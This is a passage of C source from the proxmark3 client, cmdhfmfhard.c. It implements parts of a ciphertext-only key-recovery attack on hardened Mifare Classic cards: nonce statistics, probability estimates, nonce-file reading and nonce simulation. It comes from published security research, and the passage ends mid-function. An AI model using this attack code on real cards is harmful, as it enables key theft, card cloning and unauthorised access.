]> cvs.zerfleddert.de Git - proxmark3-svn/blob - client/cmdhfmfhard.c
projects / proxmark3-svn / blob
? search:


6da4a1d123ab14ef0d2074d283658869e50841c5
[proxmark3-svn] / client / cmdhfmfhard.c
1 //-----------------------------------------------------------------------------
2 // Copyright (C) 2015 piwi
3 // fiddled with 2016 Azcid (hardnested bitsliced Bruteforce imp)
4 // This code is licensed to you under the terms of the GNU GPL, version 2 or,
5 // at your option, any later version. See the LICENSE.txt file for the text of
6 // the license.
7 //-----------------------------------------------------------------------------
8 // Implements a card only attack based on crypto text (encrypted nonces
9 // received during a nested authentication) only. Unlike other card only
10 // attacks this doesn't rely on implementation errors but only on the
11 // inherent weaknesses of the crypto1 cypher. Described in
12 // Carlo Meijer, Roel Verdult, "Ciphertext-only Cryptanalysis on Hardened
13 // Mifare Classic Cards" in Proceedings of the 22nd ACM SIGSAC Conference on
14 // Computer and Communications Security, 2015
15 //-----------------------------------------------------------------------------
16
17 #include <stdlib.h>
18 #include <stdio.h>
19 #include <string.h>
20 #include <pthread.h>
21 #include <locale.h>
22 #include <math.h>
23 #include "proxmark3.h"
24 #include "cmdmain.h"
25 #include "ui.h"
26 #include "util.h"
27 #include "nonce2key/crapto1.h"
28 #include "nonce2key/crypto1_bs.h"
29 #include "parity.h"
30 #ifdef __WIN32
31 #include <windows.h>
32 #endif
33 // don't include for APPLE/mac which has malloc stuff elsewhere.
34 #ifndef __APPLE__
35 #include <malloc.h>
36 #endif
37 #include <assert.h>
38
39 #define CONFIDENCE_THRESHOLD 0.95 // Collect nonces until we are certain enough that the following brute force is successfull
40 #define GOOD_BYTES_REQUIRED 28
41
42 static const float p_K[257] = { // the probability that a random nonce has a Sum Property == K
43 0.0290, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
44 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
45 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
46 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
47 0.0083, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
48 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
49 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
50 0.0006, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
51 0.0339, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
52 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
53 0.0048, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
54 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
55 0.0934, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
56 0.0119, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
57 0.0489, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
58 0.0602, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
59 0.4180, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
60 0.0602, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
61 0.0489, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
62 0.0119, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
63 0.0934, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
64 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
65 0.0048, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
66 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
67 0.0339, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
68 0.0006, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
69 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
70 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
71 0.0083, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
72 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
73 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
74 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
75 0.0290 };
76
77 typedef struct noncelistentry {
78 uint32_t nonce_enc;
79 uint8_t par_enc;
80 void *next;
81 } noncelistentry_t;
82
83 typedef struct noncelist {
84 uint16_t num;
85 uint16_t Sum;
86 uint16_t Sum8_guess;
87 uint8_t BitFlip[2];
88 float Sum8_prob;
89 bool updated;
90 noncelistentry_t *first;
91 float score1, score2;
92 } noncelist_t;
93
94 static size_t nonces_to_bruteforce = 0;
95 static noncelistentry_t *brute_force_nonces[256];
96 static uint32_t cuid = 0;
97 static noncelist_t nonces[256];
98 static uint8_t best_first_bytes[256];
99 static uint16_t first_byte_Sum = 0;
100 static uint16_t first_byte_num = 0;
101 static uint16_t num_good_first_bytes = 0;
102 static uint64_t maximum_states = 0;
103 static uint64_t known_target_key;
104 static bool write_stats = false;
105 static FILE *fstats = NULL;
106
107
108 typedef enum {
109 EVEN_STATE = 0,
110 ODD_STATE = 1
111 } odd_even_t;
112
113 #define STATELIST_INDEX_WIDTH 16
114 #define STATELIST_INDEX_SIZE (1<<STATELIST_INDEX_WIDTH)
115
116 typedef struct {
117 uint32_t *states[2];
118 uint32_t len[2];
119 uint32_t *index[2][STATELIST_INDEX_SIZE];
120 } partial_indexed_statelist_t;
121
122 typedef struct {
123 uint32_t *states[2];
124 uint32_t len[2];
125 void* next;
126 } statelist_t;
127
128
129 static partial_indexed_statelist_t partial_statelist[17];
130 static partial_indexed_statelist_t statelist_bitflip;
131 static statelist_t *candidates = NULL;
132
133 static int add_nonce(uint32_t nonce_enc, uint8_t par_enc)
134 {
135 uint8_t first_byte = nonce_enc >> 24;
136 noncelistentry_t *p1 = nonces[first_byte].first;
137 noncelistentry_t *p2 = NULL;
138
139 if (p1 == NULL) { // first nonce with this 1st byte
140 first_byte_num++;
141 first_byte_Sum += evenparity32((nonce_enc & 0xff000000) | (par_enc & 0x08));
142 // printf("Adding nonce 0x%08x, par_enc 0x%02x, parity(0x%08x) = %d\n",
143 // nonce_enc,
144 // par_enc,
145 // (nonce_enc & 0xff000000) | (par_enc & 0x08) |0x01,
146 // parity((nonce_enc & 0xff000000) | (par_enc & 0x08));
147 }
148
149 while (p1 != NULL && (p1->nonce_enc & 0x00ff0000) < (nonce_enc & 0x00ff0000)) {
150 p2 = p1;
151 p1 = p1->next;
152 }
153
154 if (p1 == NULL) { // need to add at the end of the list
155 if (p2 == NULL) { // list is empty yet. Add first entry.
156 p2 = nonces[first_byte].first = malloc(sizeof(noncelistentry_t));
157 } else { // add new entry at end of existing list.
158 p2 = p2->next = malloc(sizeof(noncelistentry_t));
159 }
160 } else if ((p1->nonce_enc & 0x00ff0000) != (nonce_enc & 0x00ff0000)) { // found distinct 2nd byte. Need to insert.
161 if (p2 == NULL) { // need to insert at start of list
162 p2 = nonces[first_byte].first = malloc(sizeof(noncelistentry_t));
163 } else {
164 p2 = p2->next = malloc(sizeof(noncelistentry_t));
165 }
166 } else { // we have seen this 2nd byte before. Nothing to add or insert.
167 return (0);
168 }
169
170 // add or insert new data
171 p2->next = p1;
172 p2->nonce_enc = nonce_enc;
173 p2->par_enc = par_enc;
174
175 if(nonces_to_bruteforce < 256){
176 brute_force_nonces[nonces_to_bruteforce] = p2;
177 nonces_to_bruteforce++;
178 }
179
180 nonces[first_byte].num++;
181 nonces[first_byte].Sum += evenparity32((nonce_enc & 0x00ff0000) | (par_enc & 0x04));
182 nonces[first_byte].updated = true; // indicates that we need to recalculate the Sum(a8) probability for this first byte
183
184 return (1); // new nonce added
185 }
186
187 static void init_nonce_memory(void)
188 {
189 for (uint16_t i = 0; i < 256; i++) {
190 nonces[i].num = 0;
191 nonces[i].Sum = 0;
192 nonces[i].Sum8_guess = 0;
193 nonces[i].Sum8_prob = 0.0;
194 nonces[i].updated = true;
195 nonces[i].first = NULL;
196 }
197 first_byte_num = 0;
198 first_byte_Sum = 0;
199 num_good_first_bytes = 0;
200 }
201
202
203 static void free_nonce_list(noncelistentry_t *p)
204 {
205 if (p == NULL) {
206 return;
207 } else {
208 free_nonce_list(p->next);
209 free(p);
210 }
211 }
212
213 static void free_nonces_memory(void)
214 {
215 for (uint16_t i = 0; i < 256; i++) {
216 free_nonce_list(nonces[i].first);
217 }
218 }
219
220 static uint16_t PartialSumProperty(uint32_t state, odd_even_t odd_even)
221 {
222 uint16_t sum = 0;
223 for (uint16_t j = 0; j < 16; j++) {
224 uint32_t st = state;
225 uint16_t part_sum = 0;
226 if (odd_even == ODD_STATE) {
227 for (uint16_t i = 0; i < 5; i++) {
228 part_sum ^= filter(st);
229 st = (st << 1) | ((j >> (3-i)) & 0x01) ;
230 }
231 part_sum ^= 1; // XOR 1 cancelled out for the other 8 bits
232 } else {
233 for (uint16_t i = 0; i < 4; i++) {
234 st = (st << 1) | ((j >> (3-i)) & 0x01) ;
235 part_sum ^= filter(st);
236 }
237 }
238 sum += part_sum;
239 }
240 return sum;
241 }
242
243 // static uint16_t SumProperty(struct Crypto1State *s)
244 // {
245 // uint16_t sum_odd = PartialSumProperty(s->odd, ODD_STATE);
246 // uint16_t sum_even = PartialSumProperty(s->even, EVEN_STATE);
247 // return (sum_odd*(16-sum_even) + (16-sum_odd)*sum_even);
248 // }
249
250 static double p_hypergeometric(uint16_t N, uint16_t K, uint16_t n, uint16_t k)
251 {
252 // for efficient computation we are using the recursive definition
253 // (K-k+1) * (n-k+1)
254 // P(X=k) = P(X=k-1) * --------------------
255 // k * (N-K-n+k)
256 // and
257 // (N-K)*(N-K-1)*...*(N-K-n+1)
258 // P(X=0) = -----------------------------
259 // N*(N-1)*...*(N-n+1)
260
261 if (n-k > N-K || k > K) return 0.0; // avoids log(x<=0) in calculation below
262 if (k == 0) {
263 // use logarithms to avoid overflow with huge factorials (double type can only hold 170!)
264 double log_result = 0.0;
265 for (int16_t i = N-K; i >= N-K-n+1; i--) {
266 log_result += log(i);
267 }
268 for (int16_t i = N; i >= N-n+1; i--) {
269 log_result -= log(i);
270 }
271 return exp(log_result);
272 } else {
273 if (n-k == N-K) { // special case. The published recursion below would fail with a divide by zero exception
274 double log_result = 0.0;
275 for (int16_t i = k+1; i <= n; i++) {
276 log_result += log(i);
277 }
278 for (int16_t i = K+1; i <= N; i++) {
279 log_result -= log(i);
280 }
281 return exp(log_result);
282 } else { // recursion
283 return (p_hypergeometric(N, K, n, k-1) * (K-k+1) * (n-k+1) / (k * (N-K-n+k)));
284 }
285 }
286 }
287
288 static float sum_probability(uint16_t K, uint16_t n, uint16_t k)
289 {
290 const uint16_t N = 256;
291
292 if (k > K || p_K[K] == 0.0) return 0.0;
293
294 double p_T_is_k_when_S_is_K = p_hypergeometric(N, K, n, k);
295 double p_S_is_K = p_K[K];
296 double p_T_is_k = 0;
297 for (uint16_t i = 0; i <= 256; i++) {
298 if (p_K[i] != 0.0) {
299 p_T_is_k += p_K[i] * p_hypergeometric(N, i, n, k);
300 }
301 }
302 return(p_T_is_k_when_S_is_K * p_S_is_K / p_T_is_k);
303 }
304
305
306 static inline uint_fast8_t common_bits(uint_fast8_t bytes_diff)
307 {
308 static const uint_fast8_t common_bits_LUT[256] = {
309 8, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
310 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
311 5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
312 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
313 6, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
314 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
315 5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
316 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
317 7, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
318 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
319 5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
320 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
321 6, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
322 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
323 5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
324 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0
325 };
326
327 return common_bits_LUT[bytes_diff];
328 }
329
330 static void Tests()
331 {
332 // printf("Tests: Partial Statelist sizes\n");
333 // for (uint16_t i = 0; i <= 16; i+=2) {
334 // printf("Partial State List Odd [%2d] has %8d entries\n", i, partial_statelist[i].len[ODD_STATE]);
335 // }
336 // for (uint16_t i = 0; i <= 16; i+=2) {
337 // printf("Partial State List Even [%2d] has %8d entries\n", i, partial_statelist[i].len[EVEN_STATE]);
338 // }
339
340 // #define NUM_STATISTICS 100000
341 // uint32_t statistics_odd[17];
342 // uint64_t statistics[257];
343 // uint32_t statistics_even[17];
344 // struct Crypto1State cs;
345 // time_t time1 = clock();
346
347 // for (uint16_t i = 0; i < 257; i++) {
348 // statistics[i] = 0;
349 // }
350 // for (uint16_t i = 0; i < 17; i++) {
351 // statistics_odd[i] = 0;
352 // statistics_even[i] = 0;
353 // }
354
355 // for (uint64_t i = 0; i < NUM_STATISTICS; i++) {
356 // cs.odd = (rand() & 0xfff) << 12 | (rand() & 0xfff);
357 // cs.even = (rand() & 0xfff) << 12 | (rand() & 0xfff);
358 // uint16_t sum_property = SumProperty(&cs);
359 // statistics[sum_property] += 1;
360 // sum_property = PartialSumProperty(cs.even, EVEN_STATE);
361 // statistics_even[sum_property]++;
362 // sum_property = PartialSumProperty(cs.odd, ODD_STATE);
363 // statistics_odd[sum_property]++;
364 // if (i%(NUM_STATISTICS/100) == 0) printf(".");
365 // }
366
367 // printf("\nTests: Calculated %d Sum properties in %0.3f seconds (%0.0f calcs/second)\n", NUM_STATISTICS, ((float)clock() - time1)/CLOCKS_PER_SEC, NUM_STATISTICS/((float)clock() - time1)*CLOCKS_PER_SEC);
368 // for (uint16_t i = 0; i < 257; i++) {
369 // if (statistics[i] != 0) {
370 // printf("probability[%3d] = %0.5f\n", i, (float)statistics[i]/NUM_STATISTICS);
371 // }
372 // }
373 // for (uint16_t i = 0; i <= 16; i++) {
374 // if (statistics_odd[i] != 0) {
375 // printf("probability odd [%2d] = %0.5f\n", i, (float)statistics_odd[i]/NUM_STATISTICS);
376 // }
377 // }
378 // for (uint16_t i = 0; i <= 16; i++) {
379 // if (statistics_odd[i] != 0) {
380 // printf("probability even [%2d] = %0.5f\n", i, (float)statistics_even[i]/NUM_STATISTICS);
381 // }
382 // }
383
384 // printf("Tests: Sum Probabilities based on Partial Sums\n");
385 // for (uint16_t i = 0; i < 257; i++) {
386 // statistics[i] = 0;
387 // }
388 // uint64_t num_states = 0;
389 // for (uint16_t oddsum = 0; oddsum <= 16; oddsum += 2) {
390 // for (uint16_t evensum = 0; evensum <= 16; evensum += 2) {
391 // uint16_t sum = oddsum*(16-evensum) + (16-oddsum)*evensum;
392 // statistics[sum] += (uint64_t)partial_statelist[oddsum].len[ODD_STATE] * partial_statelist[evensum].len[EVEN_STATE] * (1<<8);
393 // num_states += (uint64_t)partial_statelist[oddsum].len[ODD_STATE] * partial_statelist[evensum].len[EVEN_STATE] * (1<<8);
394 // }
395 // }
396 // printf("num_states = %lld, expected %lld\n", num_states, (1LL<<48));
397 // for (uint16_t i = 0; i < 257; i++) {
398 // if (statistics[i] != 0) {
399 // printf("probability[%3d] = %0.5f\n", i, (float)statistics[i]/num_states);
400 // }
401 // }
402
403 // printf("\nTests: Hypergeometric Probability for selected parameters\n");
404 // printf("p_hypergeometric(256, 206, 255, 206) = %0.8f\n", p_hypergeometric(256, 206, 255, 206));
405 // printf("p_hypergeometric(256, 206, 255, 205) = %0.8f\n", p_hypergeometric(256, 206, 255, 205));
406 // printf("p_hypergeometric(256, 156, 1, 1) = %0.8f\n", p_hypergeometric(256, 156, 1, 1));
407 // printf("p_hypergeometric(256, 156, 1, 0) = %0.8f\n", p_hypergeometric(256, 156, 1, 0));
408 // printf("p_hypergeometric(256, 1, 1, 1) = %0.8f\n", p_hypergeometric(256, 1, 1, 1));
409 // printf("p_hypergeometric(256, 1, 1, 0) = %0.8f\n", p_hypergeometric(256, 1, 1, 0));
410
411 // struct Crypto1State *pcs;
412 // pcs = crypto1_create(0xffffffffffff);
413 // printf("\nTests: for key = 0xffffffffffff:\nSum(a0) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
414 // SumProperty(pcs), pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
415 // crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true);
416 // printf("After adding best first byte 0x%02x:\nSum(a8) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
417 // best_first_bytes[0],
418 // SumProperty(pcs),
419 // pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
420 // //test_state_odd = pcs->odd & 0x00ffffff;
421 // //test_state_even = pcs->even & 0x00ffffff;
422 // crypto1_destroy(pcs);
423 // pcs = crypto1_create(0xa0a1a2a3a4a5);
424 // printf("Tests: for key = 0xa0a1a2a3a4a5:\nSum(a0) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
425 // SumProperty(pcs), pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
426 // crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true);
427 // printf("After adding best first byte 0x%02x:\nSum(a8) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
428 // best_first_bytes[0],
429 // SumProperty(pcs),
430 // pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
431 // //test_state_odd = pcs->odd & 0x00ffffff;
432 // //test_state_even = pcs->even & 0x00ffffff;
433 // crypto1_destroy(pcs);
434 // pcs = crypto1_create(0xa6b9aa97b955);
435 // printf("Tests: for key = 0xa6b9aa97b955:\nSum(a0) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
436 // SumProperty(pcs), pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
437 // crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true);
438 // printf("After adding best first byte 0x%02x:\nSum(a8) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
439 // best_first_bytes[0],
440 // SumProperty(pcs),
441 // pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
442 //test_state_odd = pcs->odd & 0x00ffffff;
443 //test_state_even = pcs->even & 0x00ffffff;
444 // crypto1_destroy(pcs);
445
446
447 // printf("\nTests: number of states with BitFlipProperty: %d, (= %1.3f%% of total states)\n", statelist_bitflip.len[0], 100.0 * statelist_bitflip.len[0] / (1<<20));
448
449 // printf("\nTests: Actual BitFlipProperties odd/even:\n");
450 // for (uint16_t i = 0; i < 256; i++) {
451 // printf("[%02x]:%c ", i, nonces[i].BitFlip[ODD_STATE]?'o':nonces[i].BitFlip[EVEN_STATE]?'e':' ');
452 // if (i % 8 == 7) {
453 // printf("\n");
454 // }
455 // }
456
457 // printf("\nTests: Sorted First Bytes:\n");
458 // for (uint16_t i = 0; i < 256; i++) {
459 // uint8_t best_byte = best_first_bytes[i];
460 // printf("#%03d Byte: %02x, n = %3d, k = %3d, Sum(a8): %3d, Confidence: %5.1f%%, Bitflip: %c\n",
461 // //printf("#%03d Byte: %02x, n = %3d, k = %3d, Sum(a8): %3d, Confidence: %5.1f%%, Bitflip: %c, score1: %1.5f, score2: %1.0f\n",
462 // i, best_byte,
463 // nonces[best_byte].num,
464 // nonces[best_byte].Sum,
465 // nonces[best_byte].Sum8_guess,
466 // nonces[best_byte].Sum8_prob * 100,
467 // nonces[best_byte].BitFlip[ODD_STATE]?'o':nonces[best_byte].BitFlip[EVEN_STATE]?'e':' '
468 // //nonces[best_byte].score1,
469 // //nonces[best_byte].score2
470 // );
471 // }
472
473 // printf("\nTests: parity performance\n");
474 // time_t time1p = clock();
475 // uint32_t par_sum = 0;
476 // for (uint32_t i = 0; i < 100000000; i++) {
477 // par_sum += parity(i);
478 // }
479 // printf("parsum oldparity = %d, time = %1.5fsec\n", par_sum, (float)(clock() - time1p)/CLOCKS_PER_SEC);
480
481 // time1p = clock();
482 // par_sum = 0;
483 // for (uint32_t i = 0; i < 100000000; i++) {
484 // par_sum += evenparity32(i);
485 // }
486 // printf("parsum newparity = %d, time = %1.5fsec\n", par_sum, (float)(clock() - time1p)/CLOCKS_PER_SEC);
487
488
489 }
490
491 static void sort_best_first_bytes(void)
492 {
493 // sort based on probability for correct guess
494 for (uint16_t i = 0; i < 256; i++ ) {
495 uint16_t j = 0;
496 float prob1 = nonces[i].Sum8_prob;
497 float prob2 = nonces[best_first_bytes[0]].Sum8_prob;
498 while (prob1 < prob2 && j < i) {
499 prob2 = nonces[best_first_bytes[++j]].Sum8_prob;
500 }
501 if (j < i) {
502 for (uint16_t k = i; k > j; k--) {
503 best_first_bytes[k] = best_first_bytes[k-1];
504 }
505 }
506 best_first_bytes[j] = i;
507 }
508
509 // determine how many are above the CONFIDENCE_THRESHOLD
510 uint16_t num_good_nonces = 0;
511 for (uint16_t i = 0; i < 256; i++) {
512 if (nonces[best_first_bytes[i]].Sum8_prob >= CONFIDENCE_THRESHOLD) {
513 ++num_good_nonces;
514 }
515 }
516
517 uint16_t best_first_byte = 0;
518
519 // select the best possible first byte based on number of common bits with all {b'}
520 // uint16_t max_common_bits = 0;
521 // for (uint16_t i = 0; i < num_good_nonces; i++) {
522 // uint16_t sum_common_bits = 0;
523 // for (uint16_t j = 0; j < num_good_nonces; j++) {
524 // if (i != j) {
525 // sum_common_bits += common_bits(best_first_bytes[i],best_first_bytes[j]);
526 // }
527 // }
528 // if (sum_common_bits > max_common_bits) {
529 // max_common_bits = sum_common_bits;
530 // best_first_byte = i;
531 // }
532 // }
533
534 // select best possible first byte {b} based on least likely sum/bitflip property
535 float min_p_K = 1.0;
536 for (uint16_t i = 0; i < num_good_nonces; i++ ) {
537 uint16_t sum8 = nonces[best_first_bytes[i]].Sum8_guess;
538 float bitflip_prob = 1.0;
539 if (nonces[best_first_bytes[i]].BitFlip[ODD_STATE] || nonces[best_first_bytes[i]].BitFlip[EVEN_STATE]) {
540 bitflip_prob = 0.09375;
541 }
542 nonces[best_first_bytes[i]].score1 = p_K[sum8] * bitflip_prob;
543 if (p_K[sum8] * bitflip_prob <= min_p_K) {
544 min_p_K = p_K[sum8] * bitflip_prob;
545 }
546 }
547
548
549 // use number of commmon bits as a tie breaker
550 uint16_t max_common_bits = 0;
551 for (uint16_t i = 0; i < num_good_nonces; i++) {
552 float bitflip_prob = 1.0;
553 if (nonces[best_first_bytes[i]].BitFlip[ODD_STATE] || nonces[best_first_bytes[i]].BitFlip[EVEN_STATE]) {
554 bitflip_prob = 0.09375;
555 }
556 if (p_K[nonces[best_first_bytes[i]].Sum8_guess] * bitflip_prob == min_p_K) {
557 uint16_t sum_common_bits = 0;
558 for (uint16_t j = 0; j < num_good_nonces; j++) {
559 sum_common_bits += common_bits(best_first_bytes[i] ^ best_first_bytes[j]);
560 }
561 nonces[best_first_bytes[i]].score2 = sum_common_bits;
562 if (sum_common_bits > max_common_bits) {
563 max_common_bits = sum_common_bits;
564 best_first_byte = i;
565 }
566 }
567 }
568
569 // swap best possible first byte to the pole position
570 uint16_t temp = best_first_bytes[0];
571 best_first_bytes[0] = best_first_bytes[best_first_byte];
572 best_first_bytes[best_first_byte] = temp;
573
574 }
575
576 static uint16_t estimate_second_byte_sum(void)
577 {
578
579 for (uint16_t first_byte = 0; first_byte < 256; first_byte++) {
580 float Sum8_prob = 0.0;
581 uint16_t Sum8 = 0;
582 if (nonces[first_byte].updated) {
583 for (uint16_t sum = 0; sum <= 256; sum++) {
584 float prob = sum_probability(sum, nonces[first_byte].num, nonces[first_byte].Sum);
585 if (prob > Sum8_prob) {
586 Sum8_prob = prob;
587 Sum8 = sum;
588 }
589 }
590 nonces[first_byte].Sum8_guess = Sum8;
591 nonces[first_byte].Sum8_prob = Sum8_prob;
592 nonces[first_byte].updated = false;
593 }
594 }
595
596 sort_best_first_bytes();
597
598 uint16_t num_good_nonces = 0;
599 for (uint16_t i = 0; i < 256; i++) {
600 if (nonces[best_first_bytes[i]].Sum8_prob >= CONFIDENCE_THRESHOLD) {
601 ++num_good_nonces;
602 }
603 }
604
605 return num_good_nonces;
606 }
607
608 static int read_nonce_file(void)
609 {
610 FILE *fnonces = NULL;
611 uint8_t trgBlockNo = 0;
612 uint8_t trgKeyType = 0;
613 uint8_t read_buf[9];
614 uint32_t nt_enc1 = 0, nt_enc2 = 0;
615 uint8_t par_enc = 0;
616 int total_num_nonces = 0;
617
618 if ((fnonces = fopen("nonces.bin","rb")) == NULL) {
619 PrintAndLog("Could not open file nonces.bin");
620 return 1;
621 }
622
623 PrintAndLog("Reading nonces from file nonces.bin...");
624 size_t bytes_read = fread(read_buf, 1, 6, fnonces);
625 if ( bytes_read == 0) {
626 PrintAndLog("File reading error.");
627 fclose(fnonces);
628 return 1;
629 }
630 cuid = bytes_to_num(read_buf, 4);
631 trgBlockNo = bytes_to_num(read_buf+4, 1);
632 trgKeyType = bytes_to_num(read_buf+5, 1);
633
634 while (fread(read_buf, 1, 9, fnonces) == 9) {
635 nt_enc1 = bytes_to_num(read_buf, 4);
636 nt_enc2 = bytes_to_num(read_buf+4, 4);
637 par_enc = bytes_to_num(read_buf+8, 1);
638 //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc1, par_enc >> 4);
639 //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc2, par_enc & 0x0f);
640 add_nonce(nt_enc1, par_enc >> 4);
641 add_nonce(nt_enc2, par_enc & 0x0f);
642 total_num_nonces += 2;
643 }
644 fclose(fnonces);
645 PrintAndLog("Read %d nonces from file. cuid=%08x, Block=%d, Keytype=%c", total_num_nonces, cuid, trgBlockNo, trgKeyType==0?'A':'B');
646 return 0;
647 }
648
649 static void Check_for_FilterFlipProperties(void)
650 {
651 printf("Checking for Filter Flip Properties...\n");
652
653 uint16_t num_bitflips = 0;
654
655 for (uint16_t i = 0; i < 256; i++) {
656 nonces[i].BitFlip[ODD_STATE] = false;
657 nonces[i].BitFlip[EVEN_STATE] = false;
658 }
659
660 for (uint16_t i = 0; i < 256; i++) {
661 uint8_t parity1 = (nonces[i].first->par_enc) >> 3; // parity of first byte
662 uint8_t parity2_odd = (nonces[i^0x80].first->par_enc) >> 3; // XOR 0x80 = last bit flipped
663 uint8_t parity2_even = (nonces[i^0x40].first->par_enc) >> 3; // XOR 0x40 = second last bit flipped
664
665 if (parity1 == parity2_odd) { // has Bit Flip Property for odd bits
666 nonces[i].BitFlip[ODD_STATE] = true;
667 num_bitflips++;
668 } else if (parity1 == parity2_even) { // has Bit Flip Property for even bits
669 nonces[i].BitFlip[EVEN_STATE] = true;
670 num_bitflips++;
671 }
672 }
673
674 if (write_stats) {
675 fprintf(fstats, "%d;", num_bitflips);
676 }
677 }
678
679 static void simulate_MFplus_RNG(uint32_t test_cuid, uint64_t test_key, uint32_t *nt_enc, uint8_t *par_enc)
680 {
681 struct Crypto1State sim_cs = {0, 0};
682 // init cryptostate with key:
683 for(int8_t i = 47; i > 0; i -= 2) {
684 sim_cs.odd = sim_cs.odd << 1 | BIT(test_key, (i - 1) ^ 7);
685 sim_cs.even = sim_cs.even << 1 | BIT(test_key, i ^ 7);
686 }
687
688 *par_enc = 0;
689 uint32_t nt = (rand() & 0xff) << 24 | (rand() & 0xff) << 16 | (rand() & 0xff) << 8 | (rand() & 0xff);
690 for (int8_t byte_pos = 3; byte_pos >= 0; byte_pos--) {
691 uint8_t nt_byte_dec = (nt >> (8*byte_pos)) & 0xff;
692 uint8_t nt_byte_enc = crypto1_byte(&sim_cs, nt_byte_dec ^ (test_cuid >> (8*byte_pos)), false) ^ nt_byte_dec; // encode the nonce byte
693 *nt_enc = (*nt_enc << 8) | nt_byte_enc;
694 uint8_t ks_par = filter(sim_cs.odd); // the keystream bit to encode/decode the parity bit
695 uint8_t nt_byte_par_enc = ks_par ^ oddparity8(nt_byte_dec); // determine the nt byte's parity and encode it
696 *par_enc = (*par_enc << 1) | nt_byte_par_enc;
697 }
698
699 }
700
701 static void simulate_acquire_nonces()
702 {
703 clock_t time1 = clock();
704 bool filter_flip_checked = false;
705 uint32_t total_num_nonces = 0;
706 uint32_t next_fivehundred = 500;
707 uint32_t total_added_nonces = 0;
708
